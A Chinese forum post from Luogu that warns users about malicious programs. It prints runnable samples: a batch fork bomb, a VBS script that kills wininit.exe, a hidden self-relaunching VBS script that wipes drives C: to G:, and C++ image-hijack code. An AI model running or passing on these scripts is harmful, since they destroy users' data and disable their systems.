社区讨论

警惕Luogu的恶意程序诈骗!

灌水区参与者 39已保存回复 64

讨论操作

快速查看讨论及其快照的属性,并进行相关操作。

当前回复
64 条
当前快照
1 份
快照标识符
@mi6v5ryv
此快照首次捕获于
2025/11/20 11:20
4 个月前
此快照最后确认于
2025/11/20 18:06
4 个月前
查看原帖
这里有几个常用的恶意程序,如果Luogu中有人发这些代码,请不要轻信。
1.关机
关键代码:shutdown -s (后加其他内容,如-f -t 0之类的。)
2.蓝屏
针对不好机子的BAT代码:%0|%0或%0||(%0|%0)||%0之类的。
通用的VBS代码:
CPP
On Error Resume Next
sub killtsk(ProcessName)
On Error Resume Next
for each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_
if Ucase(ps.name)=Ucase(ProcessName) then
ps.terminate
end if
next
end sub
set ws=Wscript.createobject("wscript.shell")
ws.run "taskmgr.exe",0
killtsk("wininit.exe")
3.注册表操作/文件夹操作实现开机自启动
winXP:警惕涉及C:\Documents and Settings<用户名字>\「开始」菜单\程序\启动 文件夹操作的程序。
win7:警惕涉及C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup文件夹操作的程序。 警惕凡出现HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run及类似含“Run”注册表路径的程序。
4.隐藏桌面、任务栏、运行窗口
关键C++代码:
CPP
inline void hide(){
	HWND hwnd=GetForegroundWindow(),
	hTaskBar=FindWindow("Shell_TrayWnd",NULL),
	hDeskIcon=FindWindow("Progman",NULL),
	hwndDesk=GetDesktopWindow();
	ShowWindow(hwnd,false);
    ShowWindow(hTaskBar,SW_SHOW);
    ShowWindow(hDeskIcon,SW_SHOW);
}
5.删除或感染
此类操作一般为修改文件。
这是一个大量删除文件并自我复制,弹出无限错误窗口卡死机的VBS脚本:
CPP
On Error Resume Next
Sub fdel(sPath)    
    Set oFso = CreateObject("Scripting.FileSystemObject") 
    Set oFolder = oFso.GetFolder(sPath)    
    Set oSubFolders = oFolder.SubFolders
    Set oFiles = oFolder.Files    
    For Each oFile In oFiles    
        oFile.Delete  
    Next
    For Each oSubFolder In oSubFolders  
        oSubFolder.Delete
    Next 
    Set oFolder = Nothing    
    Set oSubFolders = Nothing    
    Set oFso = Nothing    
End Sub
set ws=Wscript.createobject("wscript.shell")
set fso=wscript.createobject("scripting.filesystemobject") 
set file=fso.getfile(wscript.scriptfullname)
path=file.path
file.attributes=1+2+4
ws.run path,0
msgbox "错误代码:0x10a2d5",16,"系统警告"
fdel("G:\")
fdel("F:\")
fdel("E:\")
fdel("D:\")
fdel("C:\")
6.添加任务计划以实现定时启动
关键BAT代码:
CPP
at 时间 /every:日期 一些BAT代码
7.逃杀
试图生成文本文件写入代码并在运行时才以参数传入以避免杀毒软件查杀,或者加密成乱码也有一定的逃杀效果。遇到此类文件,必须检查文本文件的内容。有时编写者可能同时使用两种方法,使得文本文件为乱码。遇到这一类的程序,请勿随便运行。
8.修改文件关联
关键BAT代码:assoc.后缀名=指定的文件关联
这可能会破坏文件,或者增加恶意程序被打开的几率(即将其他文件的关联指向自身)。
9.映像劫持
此类恶意程序风险极高,可以认为是强行修改文件关联,样例C++代码:
CPP
#include <windows.h>
int main(int argc, char* argv[]){
	char temp[256];
	DWORD ret;
	LPCTSTR szRegKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options";
	HKEY h_KEY;
	if(argc!=1)
	{
		memset(temp,0,256);
		strcpy(temp,argv[1]);   
		for(int i=0;i<strlen(temp);i++)
			if(temp[i]=='\\')
				temp[i]='/';
		ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,szRegKey,0,KEY_ALL_ACCESS,&h_KEY);
		if(ret==ERROR_SUCCESS)
		{
			if(ERROR_SUCCESS==RegDeleteKey(h_KEY,"rav.exe"))
				RegCloseKey(h_KEY),
				WinExec(temp,SW_SHOW);
			else
				RegCloseKey(h_KEY);
		}
		else printf("open failed!\n");
	}
	memset(temp,0,256);
	GetModuleFileName(NULL,temp,256);
	HKEY hResultKey = NULL;
	if (ERROR_SUCCESS == RegOpenKeyEx(HKEY_LOCAL_MACHINE,szRegKey, 0, KEY_ALL_ACCESS,&h_KEY))
	{
		DWORD dw;
		ret = RegCreateKeyEx(h_KEY,"rav.exe", 0, REG_NONE,REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL,&hResultKey, &dw);
		if (ret!=ERROR_SUCCESS)
    		RegCloseKey(h_KEY),
    		return 1;
		ret=RegSetValueEx(hResultKey,"debugger",0,REG_SZ,(const BYTE *)temp,strlen(temp)+1);
		if(ret!=ERROR_SUCCESS)
    		RegCloseKey(h_KEY),
    		RegCloseKey(hResultKey),
    		return 1;
		RegCloseKey(h_KEY);
		RegCloseKey(hResultKey);
	}
	return 0;
}

我能想到的暂时就这么多了,也许对大家有所帮助。

回复

64 条回复,欢迎继续交流。

正在加载回复...